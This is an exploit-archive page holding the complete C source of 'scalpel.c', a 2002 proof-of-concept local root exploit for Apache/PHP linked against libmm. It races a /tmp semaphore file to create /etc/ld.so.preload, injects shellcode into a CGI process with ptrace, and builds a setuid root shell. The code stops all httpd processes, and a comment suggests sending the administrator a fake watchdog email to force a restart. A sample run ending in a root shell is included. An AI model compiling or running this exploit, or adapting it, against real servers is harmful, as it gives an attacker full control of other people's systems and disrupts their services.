exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

scalpel.c

scalpel.c
Posted Nov 30, 2002
Authored by Sebastian Krahmer | Site team-teso.net

Local apache/PHP root exploit via libmm (apache-user -> root) temp race exploit. Spawns a root shell from the apache user.

tags | exploit, shell, local, root, php
SHA-256 | 1d5db464c8ba2e2fbf07162312ad2209781d2a9e0aa4407600ee8c2e6029a683

scalpel.c

Change Mirror Download
/*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
***
*** (C) 2002 Sebastian Krahmer proof of concept exploit.
***
*** Exploiting conditions:
***
*** Apache is linked against libmm which has /tmp races.
*** Upon Apache start or restart code is executed like
*** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
*** If attacker exploited any CGI or PHP script remotely he gained
*** apache-user and can go one step further to get root by:
***
*** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
*** Its very likely root does so because webserver just doesnt work anymore
*** (all childs are STOPed). One can also send him fake-mail
*** from httpd-watchdog that he has to invoke the command.
*** 2) Install signal-handler and using 2.4 directory notifying to see when
*** /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
*** immediately which makes Apache creating that file.
*** 3) Trigger execution of a CGI script where Apache leaks a descriptor
*** (r+w) to /etc/ld.so.preload to the child.
*** 4) Ptrace that script, inject code which writes content to preload-file.
*** 5) Execute suid-helper to execute code as root.
***
*** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
*** to apache-user thus setting id-changed flag. By triggering execve() of
*** a CGI script this flag is cleared and we can hijack process.
***
*** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
*** must-bring-root-to-restart-apache);
***
***
*** wwwrun@liane:~> cc scalpel.c -Wall
*** wwwrun@liane:~> ./a.out /cgi-bin/genindex.pl
*** httpd(2368): Operation not permitted
*** Creating /tmp/boomsh
*** Creating /tmp/boomso
*** Installed signal-handler. Waiting for apache restart.
*** ++++++Forking off proc-scan to attach to CGI-script.
*** Triggering CGI: /cgi-bin/genindex.pl
*** Got cgi-bin PID 2460
*** Injecting of write-code finished.
*** blub
*** +sh-2.05# id
*** uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
*** sh-2.05#
***/

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/wait.h>

/* Please do not complain about ugly code; its a 1h exploit.
* For good code see crypto-pty for example ;-)
*/
int create_link()
{
symlink("/etc/ld.so.preload", "/tmp/session_mm.sem");
return 0;
}


void die(char *s)
{
perror(s);
exit(errno);
}

void sig_x(int x)
{
create_link();
printf("+");
}


void usage()
{
printf("Usage: scalpel <cgi-script>\n\n"
"i.e. ./scalpel /cgi-bin/moo.cgi\n");
exit(1);
}

int scan_proc()
{
int lastpid, fd, i, pid, done = 0;
unsigned int eip;
char fname[1024];
char code[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\x10\x00\x00\x00\x2f\x74\x6d\x70\x2f\x62\x6f"
"\x6f\x6d\x73\x68\x2e\x73\x6f\x0a\x00\xb8\x04\x00"
"\x00\x00\xbb\x05\x00\x00\x00\x59\xba\x0f\x00\x00"
"\x00\xcd\x80\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80";
unsigned long *p;

printf("Forking off proc-scan to attach to CGI-script.\n");

if (fork() > 0)
return 0;

lastpid = getpid();

while (!done) {
for (i = 0; i < 100; ++i) {
snprintf(fname, sizeof(fname), "/proc/%d/cmdline", lastpid+i);
if ((fd = open(fname, O_RDONLY)) < 0)
continue;
read(fd, fname, sizeof(fname));
close(fd);
if (strcmp(fname, "/usr/bin/perl") == 0) {
if (ptrace(PTRACE_ATTACH, lastpid+i,0,0) < 0) {
pid = lastpid+i;
done = 1;
break;
}
}
}
}

printf("Got cgi-bin PID %d\n", pid);

waitpid(pid, NULL, 0);

eip = ptrace(PTRACE_PEEKUSER, pid, 4*EIP, 0);
if (errno)
die("ptrace");
for (p = (unsigned long*)code; i < sizeof(code); i+= 4, ++p) {
if (ptrace(PTRACE_POKETEXT, pid, eip + i, *p) < 0)
die("ptrace");
}

if (ptrace(PTRACE_POKEUSER, pid, 4*EIP, eip+4) < 0)
die("ptrace");

if (ptrace(PTRACE_DETACH, pid, 0, 0) < 0)
die("ptrace");
printf("Injecting of write-code finished.\n");
exit(0);
}


int tcp_connect(const char *host, u_short port)
{
int sock;
struct hostent *he;
struct sockaddr_in sin;

if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("sock");

if ((he = gethostbyname(host)) == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}

memset(&sin, 0, sizeof(sin));
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = port == 0 ? htons(80):htons(port);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
close(sock);
return -1;
}
return sock;
}


int trigger_cgi(const char *cgi)
{
char cmd[1024];
int sock = tcp_connect("127.0.0.1", 80);

printf("Triggering CGI: %s\n", cgi);

snprintf(cmd, sizeof(cmd), "GET %s HTTP/1.0\r\n\r\n", cgi);
if (write(sock, cmd, strlen(cmd)) < 0)
die("write");
sleep(1);
close(sock);
return 0;
}

int create_boomsh()
{
FILE *f = fopen("/tmp/boomsh.c", "w+");

printf("Creating /tmp/boomsh\n");
if (!f)
die("fopen");
fprintf(f, "#include <stdio.h>\nint main()\n{\nchar *a[]={\"/bin/sh\",0};"
"setuid(0); execve(*a, a, NULL);return 1;}\n");
fclose(f);
system("gcc /tmp/boomsh.c -o /tmp/boomsh");
return 0;
}


int create_boomso()
{
FILE *f = fopen("/tmp/boomso.c", "w+");

printf("Creating /tmp/boomso\n");
if (!f)
die("fopen");
fprintf(f, "#include <stdio.h>\nvoid _init(){if (geteuid()) return;printf(\"blub\n\");"
"chown(\"/tmp/boomsh\",0, 0); chmod(\"/tmp/boomsh\", 04755);"
"unlink(\"/etc/ld.so.preload\");exit(0);}");
fclose(f);
system("gcc -c -fPIC /tmp/boomso.c -o /tmp/boomso.o;"
"ld -Bshareable /tmp/boomso.o -o /tmp/boomsh.so");
return 0;
}


int main(int argc, char **argv)
{
int fd;
struct stat st;
char *cgi = NULL;
extern char **environ;
char *boomsh[] = {"/tmp/boomsh", NULL};
char *suid[] = {"/bin/su", NULL};

if (argc < 2)
usage();

cgi = strdup(argv[1]);

setbuffer(stdout, NULL, 0);

system("killall -STOP httpd");

create_boomsh();
create_boomso();

if ((fd = open("/tmp", O_RDONLY|O_DIRECTORY)) < 0) {
return -1;
}

if (fcntl(fd, F_SETSIG, SIGUSR1) < 0) {
return -1;
}

if (fcntl(fd, F_NOTIFY, DN_MODIFY|DN_DELETE|DN_RENAME|DN_ATTRIB
|DN_CREATE|DN_MULTISHOT|DN_ACCESS) < 0) {
return -1;
}

signal(SIGUSR1, sig_x);

printf("Installed signal-handler. Waiting for apache restart.\n");

/* wait for /etc/ld.so.preload to apear */
while (stat("/etc/ld.so.preload", &st) < 0)
sleep(1);


/* forks off daemon */
scan_proc();

/* Trigger execution of a CGI-script */
trigger_cgi(cgi);

for(;;) {
sleep(1);
memset(&st, 0,sizeof(st));
stat("/etc/ld.so.preload", &st);
if (st.st_size > 0)
break;
if (stat("/tmp/boomsh", &st) == 0 && st.st_uid == 0)
break;
}

/* Apropriate content is in /etc/ld.so.preload now */
if (fork() == 0) {
execve(*suid, suid, NULL);
exit(1);
}
sleep(3);
execve(*boomsh, boomsh, environ);

return 0;
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close